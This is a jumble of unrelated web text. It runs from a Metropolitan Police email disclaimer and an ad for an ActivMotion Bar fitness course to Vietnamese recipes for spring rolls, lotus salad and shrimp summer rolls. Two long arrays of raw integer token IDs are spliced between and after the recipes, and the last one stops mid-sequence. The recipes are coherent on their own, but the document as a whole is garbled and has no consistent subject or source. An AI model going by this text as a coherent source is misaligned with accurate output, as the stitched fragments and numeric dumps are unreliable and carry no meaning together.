for a decision on whether the request for information has been dealt with in accordance with the requirements of the Act. For information on how to make application to the Information Commissioner please visit their website at www.informationcommissioner.gov.uk. Alternatively, phone or write to: Information Commissioner's Office Wycliffe House Water Lane Wilmslow Cheshire SK9 5AF Phone: 01625 545 700 Total Policing is the Met's commitment to be on the streets and in your communities to catch offenders, prevent crime and support victims. We are here for London, working with you to make our capital safer. Consider our environment - please do not print this email unless absolutely necessary. NOTICE - This email and any attachments may be confidential, subject to copyright and/or legal privilege and are intended solely for the use of the intended recipient. If you have received this email in error, please notify the sender and delete it from your system. To avoid incurring legal liabilities, you must not distribute or copy the information in this email without the permission of the sender. MPS communication systems are monitored to the extent permitted by law. Consequently, any email and/or attachments may be read by monitoring staff. Only specified personnel are authorised to conclude any binding agreement on behalf of the MPS by email. The MPS accepts no responsibility for unauthorised agreements reached with other employees or agents. The security of this email and any attachments cannot be guaranteed. Email messages are routinely scanned but malicious software infection and corruption of content can still occur during transmission over the Internet. Any views or opinions expressed in this communication are solely those of the author and do not necessarily represent those of the Metropolitan Police Service (MPS). Find us at: Facebook: Facebook.com/metpoliceuk Twitter: @metpoliceukOnline Foundations Training Course Online Foundations Training Course $69.99 This is the ActivMotion Bar Online Foundations Training Course. For those who are unable to attend a live training course but want to develop the specific knowledge and skills related to ActivMotion Bar programming and exercises, this simple 50-minute online course is a great solution. This online course comes complete with a link to the training video and a link to the online training manual. Both links will be delivered to your email inbox upon completion of purchasing the course. For fitness professionals, this course is eligible for 2/.2 CECs through ACE, NASM and AFAA. Description This is the ActivMotion Bar Online Foundations Training Course. For those who are unable to attend a live training course but want to develop the specific knowledge and skills related to ActivMotion Bar programming and exercises, this simple 50-minute online

[ 4166, 424, 187, 187, 424, 9675, 3003, 20467, 35, 11188, 1194, 4827, 6098, 187, 187, 424, 42805, 10379, 43170, 424, 187, 187, 424, 42805, 40683, 6505, 424, 187, 187, 424, 42805, 260, 39821, 287, 424, 187, 187, 424, 42805, 30907, 591, 6077, 313, 85, 6336, 246, 9837, 10, 6505, 424, 187, 187, 424, 36942, 1070, 2639, 30353, 313, 6377, 27518, 4846, 187, 187, 424, 36942, 1070, 330, 1028, 360, 1653, 313, 6377, 16918, 4846, 187, 187, 424, 31352, 663, 44513, 44783, 313, 6377, 32900, 4846, 187, 187, 18, 10, 496, 247, 1781, 11636, 13, 5878, 253, 11152, 342, 253, 27408, 13, 39033, 13, 480, 280, 2902, 13, 285, 31022, 15, 5733, 253, 41168, 285, 5878, 973, 15, 22347, 275, 253, 258, 43441, 12364, 13, 6773, 12364, 13, 8618, 13, 4166, 13, 7043, 13, 285, 13835, 15, 187, 187, 19, 10, 13470, 581, 11789, 2929, 27436, 275, 2914, 273, 368, 327, 247, 1892, 2553, 390, 9968, 4450, 15, 9272, 337, 23451, 273, 253, 9132, 7802, 275, 247, 11593, 1386, 670, 581, 14, 19016, 273, 253, 1039, 598, 253, 27436, 432, 253, 5004, 13, 6108, 247, 9185, 14, 3429, 5680, 327, 2057, 1930, 15, 46806, 253, 5004, 273, 253, 27436, 689, 253, 9132, 285, 1265, 14572, 19123, 13, 2403, 2119, 281, 246, 1807, 275, 253, 7123, 347, 368, 564, 15, 5037, 626, 4533, 1512, 18996, 390, 253, 27436, 1537, 16024, 15, 13470, 253, 4533, 327, 247, 5340, 285, 10280, 342, 253, 5780, 9342, 13906, 285, 9132, 12868, 15, 187, 187, 20, 10, 22512, 253, 4166, 275, 247, 3676, 37548, 390, 259, 536, 689, 4646, 4250, 15, 10243, 247, 17326, 8335, 342, 2929, 41204, 15, 7243, 253, 4166, 310, 3511, 13, 1659, 608, 21968, 387, 673, 275, 253, 3199, 285, 4417, 731, 1919, 616, 20823, 1487, 1614, 14072, 8516, 13, 670, 818, 281, 884, 2909, 15, 6915, 247, 1499, 7655, 26531, 390, 1629, 22369, 13, 3700, 253, 18621, 21968, 281, 253, 5480, 17326, 8335, 281, 12657, 15, 37780, 253, 1232, 342, 253, 5780, 21968, 15, 187, 187, 21, 10, 35166, 253, 7203, 21968, 3511, 2112, 342, 253, 23008, 499, 2569, 285, 10867, 663, 44513, 44783, 15, 187, 187, 11, 475, 475, 187, 187, 9707, 6725, 1311, 2025, 5935, 26887, 10845, 2637, 416, 8875, 367, 2088, 947, 6651, 6246, 1830, 35389, 16636, 2293, 52, 187, 187, 1992, 1056, 9670, 7550, 4789, 7203, 21968, 13, 368, 1833, 878, 281, 897, 2067, 1027, 41204, 387, 2378, 285, 8031, 731, 594, 253, 11789, 2929, 2506, 626, 6079, 562, 15, 380, 3962, 29861, 323, 253, 2628, 310, 247, 1355, 13, 4076, 13, 298, 565, 14, 4924, 8576, 29861, 326, 588, 2186, 19755, 15, 313, 46250, 41204, 588, 2740, 285, 14841, 498, 21992, 2186, 1512, 1199, 1824, 2698, 844, 3798, 452, 670, 3578, 8576, 41204, 327, 1133, 323, 436, 4096, 15, 187, 187, 7058, 26887, 49, 9818, 3003, 416, 8875, 367, 2088, 947, 27, 187, 187, 18, 10, 36529, 247, 1781, 11636, 342, 5890, 1824, 285, 46026, 253, 41204, 512, 2366, 15, 20004, 253, 41204, 581, 14, 1615, 14, 531, 285, 29684, 512, 273, 253, 1824, 562, 273, 1016, 29861, 15, 31910, 253, 17848, 84, 6507, 327, 247, 1892, 2553, 390, 14872, 9968, 4450, 13, 581, 327, 1755, 273, 253, 643, 15, 187, 187, 19, 10, 11668, 253, 1755, 17848, 745, 285, 1659, 352, 327, 247, 1892, 2553, 390, 9968, 4450, 15, 13470, 581, 11789, 2929, 27436, 327, 1755, 273, 253, 17848, 13, 285, 840, 1659, 1529, 17848, 327, 1755, 273, 352, 15, 27144, 2403, 247, 747, 8031, 13, 3960, 1523, 2242, 2158, 17848, 84, 285, 11789, 9342, 13906, 1919, 368, 452, 6107, 512, 273, 634, 9342, 13906, 15, 187, 187, 20, 10, 3954, 19153, 253, 8031, 689, 594, 326, 253, 11789, 27436, 327, 253, 5004, 310, 1024, 327, 253, 1755, 13, 285, 897, 326, 581, 806, 13, 347, 352, 588, 320, 253, 9685, 2566, 285, 4704, 281, 564, 15, 187, 187, 11, 475, 475, 187, 45, 302, 316, 13, 31541, 708, 1608, 29680, 40212, 187, 187, 30308, 418, 9981, 4889, 5689, 6764, 45514, 2637, 47305, 2350, 4110, 8021, 53, 31085, 39155, 42954, 17983, 795, 32674, 253, 3511, 285, 33595, 5768, 2607, 275, 15732, 13, 984, 2257, 316, 310, 7561, 6566, 281, 3157, 17351, 285, 452, 247, 12356, 1055, 327, 253, 2133, 15, 380, 4279, 281, 2970, 253, 2257, 316, 5322, 285, 35178, 90, 342, 253, 987, 10020, 14, 29397, 1070, 13746, 310, 281, 29684, 512, 273, 253, 1824, 562, 273, 352, 1078, 2304, 8779, 352, 275, 28140, 285, 8618, 15, 35166, 436, 22462, 342, 35423, 16666, 3333, 187, 187, 3788, 46009, 577, 21847, 19212, 187, 187, 424, 18, 5500, 21569, 358, 796, 31541, 4819, 394, 313, 6377, 31282, 10, 390, 4657, 14, 67, 1224, 1698, 14, 84, 26796, 11152, 26425, 424, 187, 187, 424, 21, 5352, 18616, 6505, 13, 24983, 424, 187, 187, 424, 18, 1781, 313, 25, 14, 12943, 10, 10163, 6134, 13, 4808, 1417, 11152, 5988, 424, 187, 187, 424, 18, 23451, 3168, 8995, 424, 187, 187, 424, 18, 15893, 16517, 482, 4166, 424, 187, 187, 424, 158, 216, 230, 21059, 480, 45566, 35423, 313, 3281, 3127, 16, 1099, 28, 670, 721, 7437, 582, 35003, 285, 34344, 967, 424, 187, 187, 424, 18, 23451, 6773, 12364, 424, 187, 187, 424, 19, 18850, 8618, 424, 187, 187, 424, 18, 23451, 3168, 28140, 424, 187, 187, 424, 25, 28409, 45364, 2257, 316, 8424, 13, 41502, 13, 31817, 13, 285, 2624, 715, 374, 14, 12099, 7437, 424, 187, 187, 424, 19, 44699, 32481, 661, 13, 2624, 715, 374, 14, 12099, 1048, 13, 6906, 22486, 424, 187, 187, 424, 8313, 47215, 13, 2624, 715, 374, 14, 12099, 1048, 13, 6906, 22486, 424, 187, 187, 424, 21, 18850, 17513, 5352, 30907, 944, 74, 5945, 313, 376, 86, 391, 4265, 78, 10, 6505, 424, 187, 187, 424, 18, 15893, 17513, 38240, 17426, 424, 187, 187, 424, 18, 23451, 24983, 38240, 759, 50166, 13, 323, 34226, 763, 424, 187, 187, 424, 18, 15893, 17513, 3091, 1502, 13, 323, 34226, 763, 424, 187, 187, 18, 10, 496, 247, 4646, 1721, 13, 13398, 337, 5500, 273, 1824, 13, 253, 11152, 26425, 13, 285, 253, 24983, 18616, 6505, 15, 28436, 253, 7802, 281, 247, 22149, 689, 1029, 4250, 13, 840, 4796, 253, 4250, 281, 4646, 285, 823, 253, 11152, 5988, 15, 27144, 281, 1698, 22149, 323, 884, 2909, 13, 2403, 2119, 281, 43816, 745, 253, 8954, 394, 15, 11748, 745, 253, 4250, 13, 3835, 253, 1721, 13, 285, 1339, 352, 1790, 323, 884, 2909, 15, 20004, 253, 11152, 432, 253, 26425, 285, 3700, 352, 281, 247, 1781, 11636, 281, 4484, 15, 7243, 253, 11152, 556, 27336, 1066, 13, 28347, 352, 407, 1133, 715, 253, 11636, 15, 6618, 9255, 15, 187, 187, 19, 10, 16257, 13, 275, 247, 1273, 4646, 1721, 13, 3324, 337, 5500, 273, 1824, 13, 253, 8995, 13, 285, 253, 16517, 482, 4166, 281, 247, 22149, 689, 1029, 4250, 15, 36529, 247, 4646, 11636, 342, 6749, 1824, 285, 873, 352, 10151, 15, 2071, 3903, 253, 35423, 407, 6240, 731, 281, 253, 25317, 1721, 273, 1824, 323, 337, 7017, 15, 659, 1949, 253, 35423, 949, 247, 847, 5945, 13, 1262, 13218, 253, 12398, 5558, 13, 285, 840, 3700, 253, 35423, 281, 253, 6749, 1824, 323, 374, 2909, 15, 20004, 253, 35423, 432, 253, 1824, 285, 873, 731, 9255, 15, 187, 187, 20, 10, 47127, 253, 6773, 12364, 275, 247, 4646, 40250, 689, 1698, 4250, 13, 285, 10576, 275, 337, 23451, 273, 253, 8618, 28, 4417, 13, 22213, 13, 1919, 253, 8618, 556, 4336, 18224, 13, 670, 374, 2909, 15, 20004, 253, 3199, 432, 253, 4250, 15, 7243, 253, 12364, 556, 27336, 13, 823, 253, 35423, 285, 11152, 285, 1614, 281, 11959, 731, 275, 253, 2304, 249, 796, 15, 187, 187, 21, 10, 16257, 13, 275, 247, 4646, 11636, 13, 10576, 2366, 253, 28140, 13, 253, 5780, 23451, 273, 8618, 13, 285, 374, 18850, 273, 1824, 15, 322, 39757, 2721, 562, 667, 6714, 1824, 432, 253, 2257, 316, 23880, 13, 840, 823, 731, 281, 253, 11636, 28, 873, 731, 9255, 281, 2304, 4024, 323, 1884, 2909, 15, 20004, 253, 2257, 316, 23880, 432, 253, 2304, 249, 796, 285, 29684, 5777, 13, 533, 417, 1512, 1199, 28, 368, 760, 971, 281, 5386, 6714, 2304, 249, 796, 15, 187, 187, 22, 10, 496, 247, 1781, 11636, 13, 15331, 253, 2304, 3901, 35423, 285, 11152, 342, 253, 2257, 316, 13, 44699, 13, 39033, 13, 30907, 944, 74, 5945, 13, 285, 38240, 17426, 15, 2732, 49488, 13, 1659, 253, 22462, 327, 247, 9417, 5340, 13, 43045, 253, 35423, 285, 11152, 327, 1755, 15, 48855, 763, 342, 759, 50166, 285, 3091, 1502, 1078, 9417, 15, 187, 2809, 29680, 14538, 21508, 84, 187, 187, 8835, 1400, 17450, 9942, 5543, 46, 39835, 399, 5236, 1322, 40505, 1703, 5935, 9242, 4785, 1843, 10634, 3003, 353, 1400, 54, 795, 255, 776, 1711, 9890, 1448, 74, 342, 30907, 14, 38358, 17114, 13, 581, 273, 253, 806, 4957, 703, 9703, 369, 247, 5768, 4533, 15, 1500, 3047, 326, 7108, 10490, 22462, 285, 701, 326, 597, 651, 751, 352, 1014, 625, 604, 597, 812, 2186, 352, 275, 616, 3564, 275, 247, 18176, 11789, 2929, 5522, 15, 4683, 2282, 703, 369, 987, 13, 285, 253, 1708, 285, 13746, 1020, 5768, 4533, 369, 271, 8164, 4352, 15, 831, 4633, 5382, 310, 1335, 327, 776, 37829, 3063, 3333, 187, 187, 64, 6175, 352, 310, 417, 247, 5899, 30907, 6882, 2092, 13, 359, 1849, 2879, 271, 15266, 23105, 10424, 12364, 281, 1918, 841, 5768, 21968, 247, 38539, 13, 10777, 1321, 13746, 3333, 187, 187, 3788, 46009, 1668, 16636, 2293, 52, 187, 187, 424, 9675, 3003, 25361, 38097, 16636, 2293, 52, 6098, 187, 187, 424, 25, 28409, 14245, 6906, 11789, 41168, 424, 187, 187, 424, 18, 23451, 11789, 8995, 13, 824, 347, 4378, 14353, 424, 187, 187, 424, 18, 23451, 16517, 482, 4166, 424, 187, 187, 424, 8313, 21059, 4646, 35423, 313, 3281, 7609, 16, 1235, 28, 670, 2030, 7437, 582, 35003, 285, 34344, 967, 424, 187, 187, 424, 1036, 14526, 11789, 2929, 424, 187, 187, 424, 1036, 10379, 43170, 6505, 424, 187, 187, 424, 18, 5500, 36942, 1070, 2639, 30353, 313, 6377, 27518, 4846, 187, 187, 424, 8313, 5500, 313, 10383, 337, 12190, 10, 5352, 30907, 591, 6077, 313, 85, 6336, 246, 9837, 10, 6505, 424, 187, 187, 424, 11199, 5500, 313, 10383, 24142, 12190, 10, 5352, 260, 39821, 287, 6505, 424, 187, 187, 424, 11199, 5500, 313, 10383, 24142, 12190, 10, 5352, 32995, 6505, 424, 187, 187, 424, 18, 12190, 5352, 448, 1644, 424, 187, 187, 424, 9675, 3003, 14980, 3271, 42, 12041, 54, 4339, 313, 21676, 2262, 424, 187, 187, 424, 19, 18850, 778, 5860, 885, 424, 187, 187, 424, 18, 15893, 48259, 48405, 1502, 313, 6377, 33790, 4846, 187, 187, 424, 18, 15893, 48259, 10867, 663, 313, 6377, 35145, 4846, 187, 187, 424, 8313, 15893, 6150, 7043, 424, 187, 187, 424, 8313, 15893, 25547, 3216, 2806, 13835, 424, 187, 187, 424, 20317, 44783, 13, 323, 9417, 313, 6377, 29226, 4846, 187, 187, 424, 31352, 663, 44513, 44783, 13, 323, 9417, 313, 6377, 32900, 4846, 187, 187, 18, 10, 1893, 518, 253, 14245, 41168, 275, 5890, 1824, 323, 884, 2909, 15, 187, 187, 19, 10, 16257, 13, 3324, 247, 1781, 1721, 273, 7043, 264, 1824, 281, 247, 22149, 689, 1029, 4250, 15, 49855, 253, 41168, 432, 253, 594, 1170, 5558, 285, 823, 731, 281, 253, 25317, 1824, 15, 11980, 323, 608, 281, 818, 2909, 1919, 2602, 15, 49855, 253, 41168, 13, 391, 38424, 731, 973, 762, 5412, 1824, 13, 285, 840, 391, 38424, 731, 762, 5890, 1824, 15, 23109, 253, 41168, 281, 247, 1781, 9417, 11636, 15, 6618, 9255, 15, 187, 187, 20, 10, 5935, 330, 16569, 3003, 7840, 51, 40921, 27, 28436, 374, 15107, 1824, 281, 247, 22149, 342, 253, 8995, 285, 16517, 482, 4166, 275, 247, 4646, 40250, 689, 1029, 4250, 15, 36529, 247, 4646, 11636, 342, 6749, 1824, 285, 873, 352, 10151, 15, 5733, 253, 35423, 281, 253, 25317, 5558, 285, 4417, 816, 1919, 597, 403, 34350, 13, 670, 337, 7017, 15, 49855, 253, 35423, 285, 3700, 731, 281, 253, 6749, 1824, 281, 4484, 4336, 15, 49855, 969, 285, 869, 253, 35423, 6079, 342, 2929, 41204, 15, 18665, 253, 35423, 275, 2716, 15, 187, 187, 21, 10, 5057, 247, 4076, 298, 565, 14, 4924, 8576, 29861, 13, 9685, 352, 13, 285, 259, 804, 352, 6079, 15, 13470, 352, 327, 247, 1892, 2553, 390, 9968, 4450, 15 ]

oil** **FOR THE HERB PLATTER:** **Fresh butter lettuce** **Fresh basil leaves** **Fresh cilantro** **Fresh Vietnamese perilla (tía tô) leaves** **Pickled Carrots (page 238)** **Pickled Cucumbers (page 240)** **Garlic Lemon Sauce (page 274)** 1) In a large bowl, mix the chicken with the onions, carrots, jicama, and mushrooms. Add the noodles and mix well. Mix in the oyster sauce, fish sauce, sugar, oil, salt, and pepper. 2) Place one rice paper wrapper in front of you on a hard surface or cutting board. Put 1 tablespoon of the meat mixture in a horizontal line about one-third of the way up the wrapper from the bottom, leaving a finger-width border on either side. Fold the bottom of the wrapper over the meat and start rolling upward, making sure to tuck in the sides as you go. Don't roll too tightly or the wrapper might tear. Place the roll on a plate and repeat with the remaining wrappers and meat filling. 3) Heat the oil in a deep skillet or wok over medium heat. Line a baking sheet with paper towels. Once the oil is hot, place 5 rolls at time in the pan and cook them until their outsides turn golden brown, about 7 to 10 minutes. Using a slotted spoon or skimmer, transfer the cooked rolls to the prepared baking sheet to drain. Repeat the process with the remaining rolls. 4) Serve the spring rolls hot along with the herb platter and Garlic Lemon Sauce. * * * THE SECRET TO PREPARING RICE PAPER FOR CRISPY ROLLS To make perfectly crispy spring rolls, you'll need to use several different towels at once and stack them so the rice paper doesn't dry out. The perfect towel for the job is a small, clean, lint-free kitchen towel that will hold moisture. (Paper towels will break and washcloths hold too much water.) We usually have about ten kitchen towels on hand for this purpose. TO PREPARE THE RICE PAPER: 1) Fill a large bowl with warm water and soak the towels all together. Remove the towels one-by-one and squeeze all of the water out of each towel. Lay the cloths flat on a hard surface or wooden cutting board, one on top of the other. 2) Take the top cloth off and place it on a hard surface or cutting board. Place one rice paper wrapper on top of the cloth, and then place another cloth on top of it. Continue making a new stack, alternately layering cloths and rice wrappers until you have covered all of your wrappers. 3) Now flip the stack over so that the rice wrapper on the bottom is now on the top, and use that one first, as it will be the wettest and ready to go. * * * Lotus, Chicken & Shrimp Salad THIS LIGHT AND REFRESHING SALAD IS EXTREMELY POPULAR _during the hot and humid summer months in Vietnam, because lotus is widely believed to improve circulation and have a cooling effect on the body. The secret to getting the lotus nice and crunchy with the right semi-pickled flavor is to squeeze all of the water out of it before marinating it in vinegar and sugar. Serve this salad with shrimp chips._ MAKES 4 SERVINGS **1 cupHomemade Chicken Broth (page 273) or store-bought low-sodium chicken broth** **4 fresh lemon leaves, crushed** **1 large (8-ounce) boneless, skinless chicken breast** **1 tablespoon white wine** **1 teaspoon sesame oil** **⅓ pound jumbo shrimp (size 21/25; about 6 pieces), peeled and deveined** **1 tablespoon fish sauce** **2 tablespoons sugar** **1 tablespoon white vinegar** **8 ounces canned lotus stem, rinsed, drained, and cut into 2-inch pieces** **2 celery stalks, cut into 2-inch long, thin strips** **½ carrot, cut into 2-inch long, thin strips** **4 tablespoons chopped fresh Vietnamese coriander (rau răm) leaves** **1 teaspoon chopped roasted garlic** **1 tablespoon crushed roasted peanuts, for garnish** **1 teaspoon chopped shallots, for garnish** 1) In a medium pot, combine 1 cup of water, the chicken broth, and the crushed lemon leaves. Bring the mixture to a boil over high heat, then reduce the heat to medium and add the chicken breast. Continue to low boil for 10 minutes, making sure to skim off the froth. Turn off the heat, cover the pot, and let it sit for 10 minutes. Remove the chicken from the broth and transfer it to a large bowl to cool. Once the chicken has cooled down, shred it by hand into the bowl. Set aside. 2) Meanwhile, in a second medium pot, bring 1 cup of water, the wine, and the sesame oil to a boil over high heat. Fill a medium bowl with ice water and set it nearby. Blanch the shrimp by adding them to the boiling pot of water for 1 minute. Strain the shrimp through a colander, discarding the cooking liquid, and then transfer the shrimp to the ice water for 2 minutes. Remove the shrimp from the water and set them aside. 3) Warm the fish sauce in a medium saucepan over low heat, and stir in 1 tablespoon of the sugar; cook, stirring, until the sugar has completely dissolved, about 2 minutes. Remove the pan from the heat. Once the sauce has cooled, add the shrimp and chicken and turn to coat them in the marinade. 4) Meanwhile, in a medium bowl, stir together the vinegar, the remaining tablespoon of sugar, and 2 tablespoons of water. Squeeze out any excess water from the lotus stems, then add them to the bowl; set them aside to marinate for 30 minutes. Remove the lotus stems from the marinade and squeeze slightly, but not too much; you only want to remove excess marinade. 5) In a large bowl, toss the marinated shrimp and chicken with the lotus, celery, carrots, Vietnamese coriander, and roasted garlic. After tossing, place the salad on a serving plate, arranging the shrimp and chicken on top. Garnish with peanuts and shallots before serving. Shrimp Summer Rolls WHEN MY GRANDMOTHER DIANA WANTED TO SUPPLEMENT THE MENU _at our old Italian deli with Vietnamese-inspired dishes, one of the first items she chose was a summer roll. She saw that Americans liked salad and bet that they would like it even more if they could hold it in their hands in a neat rice paper package. Of course she was right, and the light and flavorful summer roll was an instant hit. This popular item is still on our menus today._ _While it is not a traditional Vietnamese condiment, we've added an optional aioli sauce to give these summer rolls a richer, creamier flavor._ MAKES 16 ROLLS **FOR THE SUMMER ROLLS:** **8 ounces dried thin rice noodles** **1 tablespoon rice wine, such as Michiu** **1 tablespoon sesame oil** **½ pound medium shrimp (size 41/50; about 25 pieces), peeled and deveined** **16 sheets rice paper** **16 butter lettuce leaves** **1 cupPickled Carrots (page 238)** **½ cup (about 1 bunch) fresh Vietnamese perilla (tía tô) leaves** **¼ cup (about ½ bunch) fresh cilantro leaves** **¼ cup (about ½ bunch) fresh mint leaves** **1 bunch fresh chives** **FOR THE AIOLI SAUCE (optional):** **2 tablespoons mayonnaise** **1 teaspoonFried Shallots (page 281)** **1 teaspoonFried Garlic (page 282)** **½ teaspoon sea salt** **½ teaspoon freshly ground black pepper** **Bean Sauce, for serving (page 279)** **Garlic Lemon Sauce, for serving (page 274)** 1) Soak the dried noodles in warm water for 10 minutes. 2) Meanwhile, bring a large pot of salted water to a boil over high heat. Drain the noodles from the soaking liquid and add them to the boiling water. Cook for 5 to 7 minutes until soft. Drain the noodles, rinse them well under cold water, and then rinse them under warm water. Transfer the noodles to a large serving bowl. Set aside. 3) TO COOK THE SHRIMP: Bring 2 cups water to a boil with the wine and sesame oil in a medium saucepan over high heat. Fill a medium bowl with ice water and set it nearby. Add the shrimp to the boiling liquid and cook just until they are opaque, about 1 minute. Drain the shrimp and transfer them to the ice water to cool completely. Drain again and pat the shrimp dry with paper towels. Cut the shrimp in half. 4) Get a clean lint-free kitchen towel, wet it, and wring it dry. Place it on a hard surface or cutting board.

[ 30177, 10003, 13, 3982, 479, 281, 247, 1899, 16248, 253, 440, 1069, 18859, 30391, 14, 8719, 839, 8062, 273, 12773, 10169, 342, 5795, 285, 18380, 2097, 273, 26353, 2492, 273, 3693, 494, 9958, 323, 253, 9065, 745, 15, 187, 187, 42, 1053, 457, 85, 5545, 512, 273, 253, 1840, 588, 1891, 281, 6455, 30177, 10668, 15, 1310, 309, 476, 387, 1878, 1056, 731, 923, 2139, 581, 812, 12054, 1705, 281, 1859, 38384, 5369, 25755, 1598, 13, 840, 309, 457, 620, 320, 10048, 15, 1292, 1339, 479, 8416, 342, 581, 625, 5691, 15, 187, 187, 16628, 969, 253, 1840, 3237, 13, 313, 74, 10, 281, 313, 87, 481, 1737, 812, 581, 1902, 281, 906, 672, 512, 273, 253, 1563, 1705, 2366, 27, 39718, 23800, 24492, 285, 4116, 23835, 13, 10341, 5054, 5827, 13, 591, 3025, 3275, 26911, 13, 2714, 1600, 820, 14, 412, 1076, 13, 285, 247, 4275, 5286, 342, 12553, 6265, 281, 10265, 253, 12786, 2605, 407, 3490, 32, 309, 651, 16466, 326, 359, 812, 1902, 281, 923, 247, 5948, 36719, 407, 2455, 14, 16366, 1699, 5054, 3453, 13, 12954, 14, 87, 31387, 557, 408, 2035, 420, 13, 16933, 13, 285, 271, 6982, 33046, 2112, 760, 949, 14207, 273, 3490, 15, 3954, 4887, 327, 512, 253, 14163, 773, 1439, 1524, 7521, 773, 249, 14, 1590, 14, 7483, 668, 30177, 285, 33823, 4343, 326, 20944, 4768, 253, 1384, 394, 5331, 15, 1244, 1908, 253, 3102, 273, 20101, 326, 5866, 275, 2761, 1046, 1083, 27, 5054, 36879, 318, 13, 604, 417, 17376, 318, 28, 12954, 14, 87, 31387, 557, 408, 2035, 420, 28, 9470, 39042, 273, 4812, 7075, 285, 3569, 32070, 28, 16933, 285, 28090, 1420, 3718, 31367, 28, 2264, 14621, 1204, 15, 1244, 4366, 326, 841, 1543, 5866, 2439, 247, 1781, 2491, 273, 10621, 406, 10222, 896, 3002, 793, 13, 253, 1072, 3368, 6015, 275, 12390, 273, 26704, 18825, 3598, 3360, 285, 29892, 285, 11515, 285, 2193, 15, 1680, 352, 1663, 21541, 281, 10538, 326, 253, 2074, 20101, 275, 1046, 2014, 581, 273, 841, 2219, 497, 253, 1543, 273, 1027, 40514, 2616, 326, 1784, 7193, 841, 30177, 4679, 673, 285, 673, 969, 32, 2064, 1016, 273, 841, 30177, 11438, 285, 7038, 13, 665, 4455, 594, 6233, 27459, 285, 27364, 7730, 281, 38384, 387, 253, 35681, 13, 1694, 1784, 7193, 984, 1110, 11438, 457, 7038, 816, 4571, 457, 85, 755, 352, 3240, 987, 1016, 673, 323, 1027, 4606, 32, 1680, 352, 417, 247, 2080, 625, 13328, 15329, 784, 285, 21541, 8813, 326, 253, 6015, 3102, 273, 4433, 310, 1955, 281, 253, 12794, 12834, 326, 12893, 672, 581, 9437, 13, 1014, 604, 43001, 13, 281, 3359, 436, 2238, 273, 5054, 11461, 32, 187, 187, 42, 457, 620, 3553, 253, 9414, 281, 23031, 327, 1110, 3533, 13, 285, 19864, 8680, 275, 253, 5701, 2708, 15, 309, 18607, 436, 281, 320, 271, 21558, 281, 247, 13241, 285, 1175, 6009, 17414, 342, 2675, 1346, 15, 1707, 457, 84, 247, 1270, 2968, 387, 13841, 672, 352, 3249, 281, 841, 3374, 15, 733, 457, 84, 35315, 2220, 441, 281, 1611, 347, 2080, 347, 1896, 281, 1555, 342, 12720, 1675, 1110, 342, 5207, 359, 26401, 14936, 15, 17501, 13, 13846, 588, 1620, 320, 4391, 13, 285, 12786, 4780, 4404, 253, 5083, 13, 20312, 352, 8696, 13, 1620, 6786, 15, 25302, 30254, 32, 45441, 13, 359, 1694, 9172, 187, 187, 36549, 412, 10540, 3384, 240, 99, 187, 187, 1628, 45, 3149, 14596, 387, 436, 1659, 2, 733, 369, 3962, 323, 479, 15, 3905, 23980, 3304, 253, 3943, 369, 247, 32037, 7538, 5043, 285, 253, 3652, 369, 4999, 285, 7895, 15, 7395, 7964, 320, 896, 1735, 673, 309, 457, 78, 275, 253, 2846, 11602, 187, 187, 53, 3681, 466, 11276, 187, 187, 998, 19416, 275, 27, 8757, 6121, 187, 187, 1552, 310, 253, 374, 2109, 673, 309, 1849, 11791, 342, 659, 24318, 285, 11346, 619, 2793, 15, 26755, 403, 9300, 708, 4076, 2, 1583, 671, 2530, 247, 12478, 2579, 1046, 374, 3618, 534, 369, 247, 5322, 591, 76, 15, 309, 1833, 7964, 897, 731, 969, 275, 32880, 510, 2800, 9136, 14716, 253, 1986, 2077, 285, 253, 643, 1740, 2758, 273, 253, 1986, 14726, 9044, 6456, 13, 5043, 6176, 14716, 574, 2546, 323, 253, 4465, 6874, 275, 1340, 281, 5281, 247, 7792, 323, 2007, 12088, 285, 7162, 14, 22157, 5593, 13, 253, 47755, 753, 15, 1583, 21947, 326, 253, 2800, 651, 417, 5194, 281, 667, 638, 32978, 15, 187, 187, 4553, 247, 767, 14, 11964, 5909, 499, 35634, 6874, 327, 6794, 4131, 8127, 1677, 689, 281, 10405, 3006, 1929, 6887, 13, 253, 12088, 9377, 387, 670, 23483, 323, 6794, 24861, 285, 11157, 13, 285, 858, 417, 21058, 969, 1919, 577, 268, 15, 78, 15, 2635, 13, 247, 19379, 4804, 875, 253, 20533, 7015, 8408, 35250, 13, 322, 3348, 264, 500, 267, 3093, 13, 285, 253, 8612, 273, 253, 1533, 9136, 13, 23425, 1284, 41844, 13, 253, 5284, 6398, 5639, 3646, 7015, 13, 7581, 264, 323, 5091, 2909, 15, 187, 187, 1989, 6359, 47755, 4469, 27531, 342, 253, 1543, 273, 253, 4804, 15, 1583, 753, 326, 10137, 15, 1284, 41844, 10090, 562, 271, 5821, 1899, 327, 849, 281, 2118, 3579, 13, 342, 247, 17265, 7236, 22101, 2968, 323, 7751, 457, 84, 2168, 18839, 41031, 285, 247, 2962, 273, 19379, 12225, 13, 1690, 581, 342, 253, 1986, 2077, 15, 1292, 2305, 15, 500, 267, 3093, 753, 326, 806, 627, 1364, 320, 8981, 273, 7751, 457, 84, 987, 281, 15655, 41031, 285, 247, 20284, 273, 346, 48942, 668, 14716, 7192, 347, 17634, 14716, 326, 651, 773, 12756, 28068, 907, 7751, 457, 84, 3570, 285, 17973, 668, 762, 253, 27456, 8758, 14, 49, 1102, 338, 3328, 32648, 15, 187, 187, 510, 47755, 753, 326, 7751, 457, 84, 987, 281, 15655, 41031, 323, 19951, 6378, 369, 247, 1677, 13, 285, 326, 253, 17634, 574, 644, 11295, 407, 253, 1986, 14726, 9044, 6456, 846, 7751, 4242, 281, 2968, 20509, 285, 4336, 342, 253, 5625, 39628, 11669, 13677, 15, 1583, 753, 597, 3078, 281, 2118, 715, 7000, 11985, 342, 7751, 273, 247, 7321, 7236, 22101, 2968, 13, 806, 10090, 562, 275, 4437, 4748, 13, 4158, 281, 5386, 2217, 18839, 41031, 281, 3657, 7751, 432, 3652, 247, 10110, 275, 1091, 323, 7236, 30665, 323, 247, 1355, 35889, 22578, 2403, 3739, 14539, 11192, 15, 187, 187, 510, 1127, 273, 436, 41460, 4804, 556, 644, 773, 936, 1089, 562, 604, 7751, 310, 4092, 668, 670, 32542, 13, 247, 8474, 6359, 41318, 753, 15, 1707, 310, 1335, 642, 2590, 3662, 281, 326, 1953, 13, 533, 2448, 285, 5112, 6338, 275, 1798, 452, 753, 275, 253, 1390, 1643, 1897, 326, 773, 85, 21489, 2550, 320, 271, 19461, 1232, 1806, 1014, 347, 597, 452, 4469, 6619, 326, 7751, 310, 1907, 12748, 342, 697, 16195, 265, 285, 253, 5998, 673, 323, 